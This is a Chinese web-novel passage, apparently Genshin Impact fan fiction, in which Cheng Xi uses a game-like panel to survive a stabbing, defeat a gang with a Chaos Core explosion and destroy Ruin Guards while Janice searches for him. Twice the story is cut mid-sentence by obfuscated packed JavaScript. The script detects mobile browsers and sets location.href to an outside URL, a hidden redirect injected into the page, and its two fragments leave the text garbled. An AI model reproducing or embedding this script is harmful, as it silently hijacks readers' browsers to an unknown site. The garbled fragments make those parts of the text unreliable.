说起来,当初受伤也是因为她轻敌,在丘丘营地里因为想要试探乘晞,她隐瞒了火斧暴徒的存在。贾妮丝原本计划将木盾暴徒打倒后再将火斧暴徒引出,但没想到那只火斧暴徒不知怎么回事,忽然疯了一般猛冲而出,连反应的时间都没给她留。 贾妮丝加入愚人众这么多年,第一次需要在对战的时候刻意隐藏实力,难免有些生疏,才使自己挂了彩。 她正懊悔自己对深渊力量影响下的魔物有所轻敌,就见乘晞在火斧暴徒的威逼下艰难躲闪,时间紧迫,她不得不硬抗了木盾暴徒的一击以破盾前去解围,也因此加重了伤势。 伤口已经处理完毕,贾妮丝将绷带打了个结,放下挽起的衣袖。 看着乘晞送来的昂贵药剂,她挑出那瓶具有缓和效用的,仰头喝了几口,原地闭眼调息。 不愧是顶级品质的魔药,贾妮丝能够清楚的感觉到,自己体内的疲惫被逐渐清空,伤处的疼痛也降至可以忽略不计。 她修整完毕,正要起身,眼前却忽然一阵模糊。她试着运转元素力,神之眼的光芒随着心念闪动,火元素力的流淌变得十分滞涩。 贾妮丝脸色迅速沉下来。 她不会怀疑乘晞的药剂有问题,因为这种感觉并不陌生。她多年跟随散兵征战深渊,贾妮丝清楚这种感觉因何而来——是深渊。 缠绕齐整的绷带被她重新拆开,一圈圈散落在地上。 贾妮丝盯着肩头已经敷上药的伤处,吸了口气,毫不留情的将伤口重新划开。 * 死亡是什么感觉呢?乘晞并不知道。 他曾经听人说,在临死之前灵魂会出窍,飘飘然与躯体分离。也听人说过,死亡之时人类的感觉会逐一消失,顺序依次是视觉、嗅觉、触觉和听觉。 乘晞不知道自己能不能听见声音。耳边像被蒙了一层薄膜,将他的感知与外界隔离。 他受了那么重的伤,应当是很痛的,但痛觉仿佛也已经消失了。他应当会流很多血,但他什么都感觉不到,甚至不确定他是否还拥有自己的身体。 乘晞没有力气去想金瑞拉的阴谋与背后的博士,也没有去想自己前日与散兵的不欢而散。 思维的齿轮早已无力转动,灵魂也仿佛游离在外。视野中不是无尽的黑,也不是纯粹的白,而是迷蒙又混沌的模糊一片。 乘晞不记得他是谁,不记得他来自哪里,也不记得他身处何处。 视野中亮起什么东西。 乘晞反应了片刻,才认出这是自己的游戏面板。 上面浮出一行字,乘晞费力的辨认着:[便携营养袋……使用……提瓦特焦蛋×1] 提瓦特焦蛋是提瓦特煎蛋的特殊形式,游戏内的功能性料理,能够复苏倒下的阵亡角色。 感官重新回笼,乘晞大口呼吸着,感受微冷的空气经由鼻腔进入肺腑。 道具一栏中,[叁零式·便携营养袋]闪烁着微光,显然刚刚被使用过。便携营养袋由混沌回路、蜥蜴尾巴和电气水晶炼金合成,可将制作好的料理转化为能量供角色吸收。这个曾经被吐槽鸡肋的小道具,竟然在危急时刻发挥了意想不到的关键作用。 游戏中玩家可与烹饪场景交互,进入料理制作界面。通过消耗食材,调控最佳火候,做出的料理各具特色,使用后可增强角色的攻击、防御、生命值、暴击率、治疗效果等不同方面的数值。 乘晞原本以为,料理的功能只在游戏中生效。但刚刚的一切都向他证明:带着面板穿越之后,这套逻辑在他的身上同样成立。 将面板翻到料理界面,看着琳琅满目的999+,乘晞嘴角翘了起来——吃之不尽,用之不竭——他岂不是无敌了? 可惜嘴角翘到一半,胸前的剧烈痛感就席卷而来。乘晞的感知完全恢复,极端条件下被躯体屏蔽的疼痛也重新出现。 乘晞眼前发花,强忍着窒息感,在面板中迅速点按,给自己接连使用了三份甜甜花酿鸡。 甜甜花酿鸡,是实用程度堪比提瓦特煎蛋的生命值回复料理。乘晞满意的感受着痛觉如同潮水般退却,终于露出了一个满意的微笑。 乘晞对着料理界面一顿狂炫。 什么八宝福禄鸭、仙跳墙、韦西鸡、天枢肉、超级至尊披萨、翡玉什锦袋、千灵慕斯、奇瑰之汤……他全都要! 等似曾相识的眩晕感出现,乘晞停止了动作。看来料理的使用与道具的存取、传送等功能一样,都有一定程度的使用上限。 乘晞估算着剩余的限度,又使用了一些防御料理,才收起面板。 察觉到左肩的麻木,他发现整条臂膀都失去了控制,无力的垂着。 是被金瑞拉弄出的伤。 虽然乘晞并不觉得疼痛,但脱位的关节并没有复原。他现在左侧处于半瘫状态,完好的只有右臂右手。 乘晞无奈的将碎发别至耳后,才发现手中的发尾已经烧焦了。原本的发丝披散如同绸缎,现在变得凌乱不堪,碎银般的颜色被蒙上一层焦黑。 乘晞简单理了理头发,发现理不顺后干脆放弃。他没有心思心疼自己的造型,按住自己脱臼的左肩。 乘晞试着回按了几次,但他没有急救的经验和技术,毫无章法的尝试只会让麻木变为胀痛。 恐怕接下来的试炼,他都需要在左肩脱臼的状态下去完成。 入目是大片血色,在周围的冰天雪地里凝成了刺目的红。乘晞顺着余光的方向低头,看着自己身下坐着的那摊血泊。 血液早已凝固,连同他的外衣一起。乘晞起身,将自己的衣摆从里面拔了出来。 山坡背风,淌出的血迹没有受到干扰,凝结成的平面光洁如镜。乘晞半弯着腰,看向那面猩红颜色的镜面。 因重力自然垂落的左臂、凌乱缠绕的长发,和他自己的脸。 脸侧有一块灼伤,周围的碎发也被烧去了多半,大概是被金瑞拉反击时的火元素波及。 颈间被刀刃划破,血液聚集在伤口处,蜿蜒而下的液体已经凝固,像一条镶嵌于皮肉之中的、坠着玛瑙的项圈。 站姿有些跛,恐怕他被遗迹猎者摔倒地上的时候崴了脚。 前胸后背隐隐传来不适,乘晞并没有忘记自己这处致命伤。裁镶之刃将他整个人捅穿,按照常理绝无生还的可能,但面板和道具让他起死回生。 乘晞轻轻触碰那处血肉模糊的伤口。皮肉外翻,混着血与痂的碎屑,十分狰狞。大概当时受伤是什么情景,现在依然是什么样貌。不知是不是因为已经流失了足够多的血液,现在的伤口不再淌血。 乘晞苦中作乐的想,至少他的身体还有点自愈能力,虽然微不足道,但至少没让他整个人前后漏风。 不流血、不疼痛,乘晞被屏蔽了消极的感知,但受过的伤没有恢复、断掉的手臂也保持原样。他琢磨起面板与料理的功能来。 乘晞曾经经历过这个世界的治疗,知道水系神之眼治疗师操纵的疗愈过程感受如何。而面板同样为他进行了疗愈,但方式与他认知中的所有方式都不相同——是从概念层面回复的生命值。 乘晞心里的小人重新支棱起来。 他现在冒出不少猜想,已经等不及去验证了。 他揉了揉眉心,确保因为狂炫料理导致的消耗感已经消失,才从地上起身。 乘晞打量着倒影中的自己。这副模样多少有些惊悚了,他思索片刻,将衣服的下摆一拽。 得益于这身着装衣袖翩翩,乘晞取下了不少装饰用的布料。 他挑出柔软的材质扯成布条,在颈上绕了几圈,遮住伤痕。垂落的部分带着花边,刚好挡在胸前,也掩去了那道狰狞的创口。 乘晞攥着剩余的布料,正在思考如何将自己脱臼的左臂固定,以免行动不便,就听见了不远处靠近的脚步。 他迅速蹲下,以遮掩身形,同时向来人的方向望去。 那是一支小队,为首者并不陌生。 “哟,是老熟人啊。”带着恶意的声音传来。 见自己的位置已经暴露,乘晞干脆不再躲避,顺势坐到了地上。 疤脸男头上包着纱布,遮住了昨晚被餐叉戳伤的那只眼睛,留下完好的一只露在外面。 “这里没人,”疤脸男阴恻恻道,“准备动手。” 他的队伍总共五个人,向着乘晞包围而来。 乘晞观察到疤脸男的领头地位,心说难怪这人敢在旅店里出言不逊,原来是有所依仗的,可惜横行惯了终被神之眼的持有者给教训。 他不动声色的展开面板。 先被火焰灼烧,后又在进餐时受伤,昨日的耻辱场景还历历在目。如今以众敌寡,疤脸男的恨意尽数聚焦到了乘晞身上。 疤脸男志在必得的向对方逼近,已经在脑中设想出等下对方会如何求饶。 队员们纷纷亮出了手中的武器,锐利的金属闪着寒光。 “那个小金毛没捉到,倒是遇见了你。”疤脸男见乘晞落单,反而不急于出手,而是与队员站成弧线,将乘晞合围。 玩弄濒死的猎物总是捕猎者的乐趣。 失去了贾妮丝的庇护,疤脸男确信乘晞毫无还手之力,“不如我给你十秒钟,看你能不能跑出去?” 乘晞不答,衣袖遮掩之下,将右手背在了身后。 他操控着面板,在背包里翻了翻,随后有什么东西落入掌心。 见乘晞没反应,疤脸男骂了句脏话。 等他走近才发现,乘晞的状态似乎很差。疤脸男辨认了片刻,认出对方身上穿的依旧是初次见面那套衣服。只是昨日晚餐时分,对方的衣着仿佛随时可以赶赴某场盛宴的礼服,而今日再见,通身都被血迹浸染斑驳。 疤脸男打量着乘晞背靠的那块岩石,又看了看不远处的一摊血迹,露出一个狞笑来。 “你受伤了啊,伤的还不轻。” 他放肆的打量着乘晞的面容。凌乱的银灰长发,染血的细瘦指尖,缠着轻纱的白皙脖颈。 “这么多血……”疤脸男并未因鲜血感到嫌恶,目光越发露骨。 然而银发少年在原地未动,只是居高临下的望过来。 甚至还有闲心屈起一条腿。“谁告诉你,这些血是我的了?” 疤脸男下意识愣住,但很快反应过来,认为乘晞在装腔作势。 “敬酒不吃吃罚酒,”疤脸男抽出腰间的短剑,“就别怪我不客气。” 他才不认为自己会被这个少年的话吓到,径直朝乘晞而去。 乘晞叹了口气,心说看来自己的演技还有待提高。 在距离乘晞十步远的时候,疤脸男手上忽然一轻。 他震惊的停下脚步,发现自己持剑的那只手空空如也。 疤脸男摊开掌心,又看了看地面,确信自己的剑并没有掉落,而是凭空消失了。 “你丢东西了?”乘晞明知故问。 疤脸男感觉自己遇到了灵异事件。他又想起昨晚餐叉插入他的眼睛,空气中响起的那句幽幽的、只有他能够听见的叹息,更觉诡异。 其余队员都不明白他为什么停住,纷纷偷来疑惑的目光。 疤脸男示意分散的队伍聚拢,几人围在他身边。人多起来,疤脸男又重新生出几分底气。 昨晚的那道声音是个女人,显然并非乘晞能做到,多半出自那个有神之眼的女人之口。 他的队伍进入秘境后再次在贾妮丝身上吃瘪,疤脸男对乘晞的恨意更重了。“江湖把戏,装神弄鬼。” 疤脸男伸手示意,一位队员便将自己的武器递上,放在了他手中。 疤脸男将这把刀横在自己身前。但还没等他开口说什么,手中的武器再度消失。 这次变故发生在几双眼睛的注视之下,队内有人发出惊呼。 疤脸男不信邪,又抽出旁人的一把剑和一柄刀,但每次都刚将武器拿在手中,还没抓紧武器就消失不见。 他有些气急败坏:“你搞什么鬼!” 乘晞不答,而是接二连三收缴了对方取出的所有武器。 有位观察细致的,已经从中摸出了规律,推测乘晞大概只能对视线范围内的东西做手脚。 那人身上带着备用的武器,冷不防从背后抽出,朝乘晞甩过去。 锋利的飞镖破空而来,在半空中划出一段弧线。但在接近银发少年的时候,同样凭空消失了。 乘晞托着下巴,“还有吗。” 此时他斜坐在地的姿势,都无端中多出些压迫感。 疤脸男骂了句“邪门”,心中又惧又恨。他确信乘晞拥有某种特殊能力,不敢贸然上前。但眼见对方落单,他也不愿放弃这样的报仇机会,一时间在原地踟蹰。 有张弓拉箭的声音传来。 位于队伍末尾的那人,取出了自己的武器。 疤脸男闻声看过去,脸色肉眼可见的和缓起来,“你恢复好了,副队长?” 对方沉默的点头。 空气中有电流划过的噼啪声响。紫色的雷元素点亮了整张弓箭,向弓弦不断汇聚,沿着箭身流淌而去。 乘晞盯着那位副队长。他面板背包的收纳功能并非毫无限制,这位副队长的位置并不起眼,乘晞先前都没有多加注意。 副队长拥有神之眼,那把弓箭大概率也是对方的契约武器,乘晞已经来不及将其夺走。 元素力聚集在了箭矢尖端。弓弦嗡鸣,雷箭疾射而出。 见状,疤脸男彻底恢复底气,关照了副队长的状态几句。 疤脸男的队伍原本只有四人,都是曾经跟随他做社会营生的兄弟。这位副队长是他临时招纳进入队伍的,对方不愿独身参与试炼,有神之眼却并不和他争抢队长之位,疤脸男很满意的将对方任命为副队长。 先前与贾妮丝遭遇的时候,疤脸男仗着有副队长坐镇,原本打算狠狠报复回去。可在对峙过程中,副队长却在贾妮丝手下受了伤。疤脸男生怕自己的队伍就此折损一员大将,现在对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16482363|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方恢复,他终于能够放下担心。 疤脸男扭过头去,想要欣赏乘晞倒地的惨状,却见对方毫发未损。 副队长的脸色也有些难看。他始终没有放松对银发少年的关注,确信自己的箭矢在靠近对方的半空中就消失了。 “居然连有元素力的攻击也能操控……”他眯了眯眼。 用弓箭的人往往视力都很好。通过他的观察,银发少年一侧的手臂垂落的角度不自然,多半肩关节出了问题。而对方的唇色也有些不正常,明显是失血过多才会有的表现。 “不过这种把戏,顶多用来唬人。”副队长对疤脸男道,“这个家伙不足为惧。” 听副队长把观察的结论讲完,疤脸男心中的郁气顿时畅快。 “纸老虎而已。”他捏了捏手指,朝乘晞逼近。能操纵物体又如何?如今赤手空拳,他还不信自己解决不了重伤在身的对方。 银发少年掌心翻转,闪着雷光的箭矢出现在他手中。 面板背包的收纳功能帮助他挡下攻击,现在这枚雷矢,刚好能够为他所用。 疤脸男只见乘晞将那枚箭矢刺入了手中的什么东西,紧接着那东西被对方丢过来。 “轰——” 爆炸的气浪卷起雪粒,飞溅到半空。 巨大的冲击力当头而来,疤脸男惊叫一声,整个人被掀飞出去。 乘晞低头,手臂横着挡在眼前。 等尘埃落定,爆炸处显露出坑状塌陷,对面那行人尽数倒在地上。 “现在,我给你们十秒钟,”乘晞将对方当初的话如数奉还,“你们跑一下试试看?” 疤脸男惊恐的爬起来,但他的腿受了伤,又摔回地面。 被乘晞丢出去的,是一枚混沌炉心。这东西是古代遗迹构装体的能源核心,由各类遗迹巨械的掉落物炼金获得。当初为了合成材料,需要在游戏中击败许多只精英怪物积攒掉落物。乘晞庆幸自己穿越之前肝脏足够强大,造就了背包里充足的材料储备。 混沌炉心可以驱动庞大的遗迹造物,其内蜿蜒的纹路储藏着不容小觑的能量。乘晞用那枚雷箭作引,使这枚炉芯爆炸,造成的威力不亚于异世界的榴弹。 感谢疤脸男提前将队伍成员聚集在了一起,不然他还要发愁如何在短时间内将所有人击倒。 现在疤脸男看向乘晞的神色,全然不复先前的嚣张,他磕磕绊绊的向乘晞求饶,生怕对方再炸他们一次。 乘晞调动面板,拿出第二枚混沌炉心在手中。指尖拂过多面体表面闪着光的纹路,他朝疤脸男瞥过来:“可以安静一点吗。” 疤脸男立刻闭了嘴,其余队员也安静如鸡。 他们既不敢上前又不敢后退,警惕的看着乘晞的动作。 银发少年依旧坐在地上,浑身染血。对方言笑晏晏,落在疤脸男眼中却如同来自地狱的森森恶鬼。 “我有一个小问题。你们应当很乐意帮我解答疑惑吧?” 疤脸男不敢说不。 他看着银发少年将那个能够引起巨大爆炸的东西揣进怀里,拈起石块上结着的一层雪片。纯白的雪片被那只手掌捏碎,雪粒从指尖随意落下,也擦去了手中黏着的鲜血。 疤脸男吞了吞口水。 “进入秘境后、见到我之前,” 银发少年问,“你们都遇见了什么人、发生了什么事?” “我说,”疤脸男原本以为会面临什么要命的问题,没想到对方只问这个。他闻言慌忙道,“我全都说——” “回答之前最好谨慎思考一下,”银发少年打断,“毕竟我不喜欢有人撒谎。” “是……是。”疤脸男停了片刻开始回答,他的队员也时不时加以补充。 “我们进来没多久,就遇见了那个昨晚和你一起吃过饭的金毛小妞、呃不是,女人,她见到我们之后……” 乘晞之所以提这个问题,是因为听见过疤脸男提起金头发的字眼。在被金瑞拉折磨之后,他对这种发色十分敏感。联想到自身遭遇的种种,乘晞不会放过任何一种怀疑的可能。 听着疤脸男的供述,乘晞意识到金瑞拉果然与对方有所交集。在进入秘境后,疤脸男的小队被金瑞拉挑衅,带着怒火准备动手,却在山坡附近将人追丢了。他们在找人的过程中,遇见了贾妮丝。原本就一腔怒火无处发泄,他们打算在贾妮丝身上出气,却布料被对方打得落花流水。 “那个女人还警告我们,离这边远一点。”疤脸男道,“我猜她绝对会护着你和那个金毛,说不准这片山坡里藏了人。” “我们假意逃离,休息好了又折返回来……然后就是刚刚,我们在这里见到了你。” 乘晞终于摸清了金瑞拉的算盘。看来自己与对方的偶遇根本就不是偶然。 金瑞拉多半想将疤脸男引到自己这边制造冲突,却被路过的贾妮丝暗中解决,也难怪她在见到贾妮丝的时候表情不太好看。 金瑞拉将自己“杀死”后丢弃到这里,如果乘晞真的是一具尸体,疤脸男遇见后,指不定会做出什么恶心的事情。后续万一有人追究,为凶杀背锅的不只是魔物,还有疤脸男,金瑞拉更能将自己撇得干干净净。 听着疤脸男一口一个黄毛,乘晞只觉得可笑。 如果这群人遇见的不是自己而是金瑞拉,现在大概连全尸都没有了。 乘晞又盘问了一些进入秘境前的事情,疤脸男也照单全说。 他说着说着,冷不防想起昨晚耳边那道只有他能够听见的低语。 对比一下音色,居然和那个金发女人的声音十分相似。 可那不是一个手无缚鸡之力的小姑娘吗……他回想着对方极具欺骗性的外表,腿脚发起抖来。 乘晞并不知道审问有什么技巧,不确定如何从疤脸男口中撬出所有回答。 好在当初在庄园里,他旁观过散兵与拉基老爷的对话。散兵本色出演就已是教科书级别的范本,乘晞不确定自己能学到多少,但看疤脸男这状态,大概确实被震慑住了。 有那么一瞬间,乘晞生出某种现在就将第二枚炉心炸开、使这群人全部葬身于此的冲动。但这股冲动出现得突兀,消失得也突然。 乘晞掐着自己的掌心,从地上站起。从这群人口中得不到其他有用的信息,他也准备离开。 目光落在那位副队长身上,乘晞停留了片刻。 对方察觉到他的注视,催促着疤脸男和其余人离开,并向乘晞保证“绝不再来打扰你”。 乘晞品着这句一语双关的话,看对方逐渐走远。 副队长所处的位置距离爆炸最远,且神之眼天然强化持有者的体魄,乘晞并不认为对方真的像表现出来的那样重伤。 但既然对方有离开的意思,他也不欲与对方纠缠。普通人队伍里的神之眼持有者,当真只甘心屈居副队长的位置吗? 至于疤脸男会之后会如何,乘晞很乐于等对方亲自体会——恶人自有恶人磨。 乘晞踏入丛林的时候,远去的队伍也出现了争执。 副队长盯上了疤脸男的掉落物,趁人之危出手抢夺。 “还以为组队行动能方便些,但你们一点都不能打嘛。” “我们帮助过你……明明是你主动加入的队伍!” “无用的名头罢了,不会真把自己当个人物了吧,队长。” “你什么意思?” “要么交出所有战利品,要么死。” 隐约的惨叫声,消散在飞雪之中。 * 密林里,贾妮丝缓慢的吐息,看着符文流淌,紫黑色的血从伤口逼出,滴落在地。 她为了速战速决将伤处暴露于魔物,也不可避免的以血液为媒介被深渊力量影响。好在这种侵染并不严重,贾妮丝服用些许乘晞给她的醒神药剂,独自完成了原本需要有同伴在旁照看才能进行的排毒过程。 短时间内不能再动用元素力,她叹了口气。想到那位银发少年,贾妮丝又有些担心。 她再次拿出通讯器查看定位,发现对方已经离开先前的位置,跨了条河,但依然在不断移动。 试炼凶险,乘晞不一定有应对深渊的经验。贾妮丝思来想去,还是决定动身与对方汇合。 她收起绷带,朝着定位的方向去了,并不知道飞雪与枯木的遮掩之中,真正的乘晞在不远处与她擦肩而过。 乘晞弯腰避开横生的藤蔓,一侧肩膀脱臼之后,他的行动十分不便。为尽量减轻干扰,他用多余的布料缠住了左臂与腰间。 乘晞怀里揣着混沌炉心,手中拿着一支火把。 这火炬是他从丘丘人手里抢来的。不久前两只拿着火把的丘丘人迎面而来,乘晞展开面板传送,闪现在丘丘人身边,出其不意夺走了对方的火把,再迅速传送离开。留丘丘人在原地发出怪叫,始作俑者就已逃之夭夭。 这是乘晞第二次使用传送功能,但也十分成功。试炼进程紧迫,没有多余的时间留给他练习。 乘晞沿着记忆中的方向又走了一阵,感受到脚下土地传来的震颤。 先前徘徊在这片区域的遗迹守卫,就在丛林之外。 乘晞缓慢靠近,探头观察了片刻。比起他们遭遇过的那只疑似发狂的遗迹守卫,眼前这只并没有受到操控,或者干扰已经远去,只在漫无目的的游走。 乘晞在心里给自己打气,再次展开面板。 他估算着自己与遗迹守卫的距离,按下传送。 眼前一花,乘晞鼻尖险些撞上铁板。 “!”他直挺挺的出现在遗迹守卫身下。 遗迹守卫察觉到这个突兀出现的、几乎贴到它的膝盖的人类,进入攻击模式。 乘晞连忙在地图上又按一下,随便点了个旁边的位置,闪现于十几米外。 在他传送的瞬间,他原本站立的位置就被砸出了深坑。 遗迹守卫转过头,追踪着逃开的乘晞。机械发出示警,厚重的双臂下沉,是制导飞弹攻击的前兆。 乘晞透过面板,能看见环绕在自己身上的红色准星。 两列飞弹在遗迹守卫身侧浮现,疾速射向被它锁定的人类。 同一时刻,乘晞第三次按下传送。 制导飞弹的追踪性能十分可怕,在游戏中是堪称新手噩梦的存在。 好在乘晞有面板。在即将被飞弹贴脸的前一刻,银发少年的身影原地消失。 飞弹射了个空,撞到地面上爆炸,尘土飞扬。 乘晞再次出现时,已经抓住了遗迹守卫的耳朵。 他将传送的定位与遗迹守卫的位置重合,遗迹守卫下压的动作占据了地面空间,乘晞也因此传送到了遗迹守卫头上。 ——卡bug大成功。 22.22 火焰燃烧着,从遗迹守卫橙黄的控制核心燎过。外层的屏障依旧完好无损。 想来也是,寻常的火元素并不能破坏它的保护层。 乘晞将火把插入机械齿轮的缝隙,手脚卡在缝隙里,四肢并用,稳住自己的身形。 锁定的猎物瞬间消失移动,遗迹守卫似乎有些疑惑,紧接着发现猎物落在了它头顶。面对这种大逆不道的行为,晦涩的低吟都似乎愤怒了几分。 银光一闪,天空之脊出现在乘晞手中。碧蓝的枪尖泛着丝丝缕缕的雾气,苍空与长风的力量缭绕其上。 乘晞挽枪回身,对着橙黄的核心奋力刺去。 枪尖抵着机械之眼,发出令人牙酸的摩擦声音。 乘晞没有元素力,这具身体也并不强健,发挥不出天空之脊原本的威力。 但这把长枪好歹是五星级别的武器,乘晞又因服用过的料理,在概念层面提升了攻击力数值。阻碍感在长枪尖端持续数秒,就随着屏障的碎裂而消失。 核心暴露于空气之中,遗迹守卫被彻底激怒。机械臂破空而来,乘晞以最快的速度侧身,也被铁掌刮过颈侧。细纱扯断,肌肤火辣辣的痛。 乘晞将天空之脊收回背包,掏出混沌炉心,以极快的速度用火焰引燃,丢入屏障中央的破洞。 他拔起火把,迅速传送离开。同一时刻,身后两种相斥的能量回路碰撞,火花炸裂,令遗迹守卫彻底瘫痪。 双脚落地于十几米外,乘晞看着遗迹守卫倒地,长长地吐出一口气。 等烟气消散,他折返回去,在钢铁废墟中翻出了一块混沌装置。 圆轴一端印着紫黑色的符文,大概就是试炼秘境魔物特有的标记。乘晞将轴心收好,找到背风处坐下。 一枚混沌炉心需要许多混沌装置才能合成,好在有背包的充足库存兜底,乘晞用起来没那么心疼。 炸完这只遗迹守卫,他身上又添了几处新伤。但原本的旧伤足够触目惊心,相比之下,几道淌血的擦伤都不算什么。 手腕传来钝钝的酸胀。天空之脊不愧是象征风之龙意志的长枪,被这样不得章法的使用过后,枪杆依旧光洁如新,乘晞自己却因发力不当受到了拉伤。 右臂的活动能力对他而言过于重要,乘晞毫不犹豫的展开面板,给自己炫了一份松茸酿肉卷。 效果立竿见影。右手的不适消失,虽然手腕有隐隐肿起来的趋势,但至少能够活动自如。 乘晞很珍惜面板的使用次数,没再取放热瓶取暖,而是就着火把的热量缓和了僵硬的肢体。 短暂休整之后,他寻找到下一只遗迹守卫,如法炮制。 这次获得的掉落物是混沌回路。乘晞逐渐有了信心,沿着岔路继续寻找目标。 不知是否因为魔物之间存在感应,基础魔物都避着他走,乘晞将取自遗迹守卫的掉落物挂在身上之后,一路上都没再遇见史莱姆和丘丘人。 一回生二回熟,乘晞背包内的混沌炉心一枚枚减少,腰间的战利品也越来越多。 他的火把在面对第四场战斗的时候毁了。 当时有两只遗迹守卫距离很近,乘晞在靠近第一只之后,才注意到坐在石柱后的第二只。 第二只处于休眠状态,被外界的声音吵醒。乘晞发现它的时候,也已经被它锁定。 夹在中间来不及撤离,乘晞只能迎难而上。 在他试图破开第一只守卫屏障的时候,第二只瞄着他射出了飞弹。击破弱点的机会转瞬即逝,乘晞不愿放弃。他坚持炸掉了炉心,付出的代价是小腿被飞弹中伤。 乘晞身下的遗迹守卫失去供能,他随之一同倒地,另一只的攻击紧追而至。乘晞不得不拖着伤腿再次传送,几经周旋,才令第二只遗迹守卫的核心同样熄灭。 终于获得片刻喘息,乘晞才注意到他小腿的伤有多么严重,几乎能从外面看见白骨。短时间内多次传送令他头晕目眩,乘晞强忍着不适服下治疗料理,将划破的裤脚扯成条,一圈圈绕在自己的腿上。 单手操作不便,他将布条末端咬在口中,绑完打了个牢固的结。乘晞吐掉布条,看着满手鲜血,面无表情的将它们擦到旁边的雪堆上。 乘晞能感受到自己的消耗,他眼前阵阵发晕,清楚自己需要休息,但时间不等人,魔物更不会等。 在面对一只较为暴躁的遗迹守卫的时候,他重心不稳,被机械脑袋从头顶甩下。为了避免摔成倒栽葱的命运,乘晞在半空使用传送落地,用脱臼的左臂承受了机械腿的旋踢。 近身会被攻击但远程无法得手,他咬着牙再次传送。 击倒这只遗迹守卫的时间花了很久,比前几只都要漫长。乘晞翻找到掉落物后,找到堪堪露出末端半截的长枪。 坑洼不平的废铁压在上面,乘晞几乎用上浑身的重量,才将天空之脊抽出,携着枪柄向后倒在地上。 当时在打斗中长枪脱手,乘晞来不及调用面板收回。他攥住枪柄的手指都不住打颤,在地上躺了片刻,才重新爬起。 左臂大概是骨折了,且还在他概念提升了防御之后骨折,乘晞深切感受到了遗迹守卫的威力。他将这次的掉落物与先前的战利品收在一起。 将天空之脊收入面板的时候,眼前开始出现模糊。乘晞弓着腰缓了好一会,站直僵硬的身体。 指尖拂过几块坠在腰间的混沌装置与回路,他缓缓低下头。 够了吗? 不够。当然还不够。 伤处的疼痛隐约有死灰复燃的趋势。乘晞调出面板,在料理和药剂一栏看了片刻,终究没有按下选择。 面板的使用次数是有上限的,自己多使用一次治疗,也会失去一次瞬移的机会。他需要留出余地。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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喘息过后,乘晞站起身。远处又出现了机械的嗡鸣。 试炼时间还剩最后三刻钟。 要停吗? 不要。当然不能停。 隐约的黑紫气息似乎在向少年靠拢。 但少年的双眼在此刻却十分明亮。 他参加试炼是为了夺名次的。他加入愚人众是为了靠近散兵的。只有成绩排到最前面,才能获得自由选择去向的机会。 参与试炼者卧虎藏龙,神之眼持有者大有人在。他没有强健的体魄,没有傲人的力量,只有战胜魔物,战胜更多的魔物,战胜最多的魔物…… 银发少年跨过灌木丛,单薄的身形在树影间摇摇欲坠。 任谁来看,他都像风雪大些就能被吹倒的一截蒲苇,却如奇迹般逆风前行。 23.23 * 贾妮丝已经寻找乘晞好一会了。 她追着显示的定位,沿路跨过一条河。河面结了不怎么结实的一层冰,她脚踩时不留神,险些陷进水里。 终于走到定位显示处,贾妮丝打量着面前的山谷。 里面有一处丘丘人营地,看样子已经被人捷足先登,茅草房烧得焦黑,哨塔也倒塌了多半。 贾妮丝踏进营地,在嵌着兽角的石锅中见到一只感电状态的史莱姆。 看样子有雷元素神之眼的人来过,但这与乘晞不符。 贾妮丝将整片山谷翻找了一遍,也没有见到乘晞,她甚至连个人影都没有找见。 可定位器显示的位置,明明就是此处。 贾妮丝反复确认,定位装置应当没有出错。这毕竟是出自愚人众研究的技术,她们已经使用多年。 这片山谷没有地洞,不存在定位到坐标重叠的多层空间的可能。贾妮丝干脆追着定位跑。 她跑了一会,发现自己在重复毫无规律的路线。 定位的移动速度需要小跑才能跟上,贾妮丝都有些追累了,不由得怀疑乘晞是不是喝了敏捷药剂。 等定位终于在某个位置停住,她快步走过去,与定位重合。 这里空无一人,唯有有几株矮树。枝叶打了霜,红艳艳的荚果被雪水浸润,显得尤为晶莹。 一只云雀立在枝头,正啄食着荚果。 “乘晞?”贾妮丝试着喊了一声。 意料之中并未得到任何回应,只有云雀被她的话音惊起。 贾妮丝暗自奇怪,低头再看显示器,发现定位又变了。 她赶忙追上去,来到了另一处树丛。 这样反复几次,贾妮丝没有瞧见乘晞,反而次次在梢头见到云雀。 “……”乘晞总不会变成鸟了吧。 贾妮丝否定这种荒谬的猜想,盯着云雀看了几秒,随后信手抓起一捧雪,朝着云雀丢过去。 受惊的小鸟扑棱着翅膀,飞去另一处枝杈。 贾妮丝低头看定位。 相同的方向,相近的距离变化。 “……” 贾妮丝猫着腰,走向那株荚果树,双手笼起向前一扑。 云雀被她困住,喳喳惊叫。 鸟类的绒毛柔软,贾妮丝感觉指腹碰到了什么坚硬的材质。 她捉着云雀,仔细一看,在鸟背上发现了那枚熟悉的定位片。 “……反侦察技术这么强的吗。” 如果乘晞发现了贴在他身上的定位片,知道自己被人跟踪,比起原地丢弃或者直接销毁,将定位片转移是绝佳的应对方式。不仅减缓了暴露的时间,还能给跟踪者带来干扰。 但总觉得哪里有些怪异。 贾妮丝捏住云雀的双脚,先后抻开两侧扑腾的翅膀,将这只鸟上上下下搜寻一遍。 云雀发出受惊的尖叫,想要啄人,可惜伤不到戴着战术手套的贾妮丝分毫。 鸟腹的位置,浅色绒毛之上,擦着两道血痕。 贾妮丝盯着血迹,眉头皱了起来。 她杀过鸟,知道这不是鸟类的血液。况且这只云雀并没有受伤。 这是人的动脉血,已经凝固许久,推测时间在挺久之前。 是乘晞受伤了吗?如果他受伤,又为什么要捉这只云雀,伤在什么部位会把血迹不小心蹭到这里? 还是说,真实情况远非如此—— 猩红的血迹干涸在乳白的绒毛表面,两种颜色反差极致,像一道深深的嘲讽。 贾妮丝的心一点点沉下去。 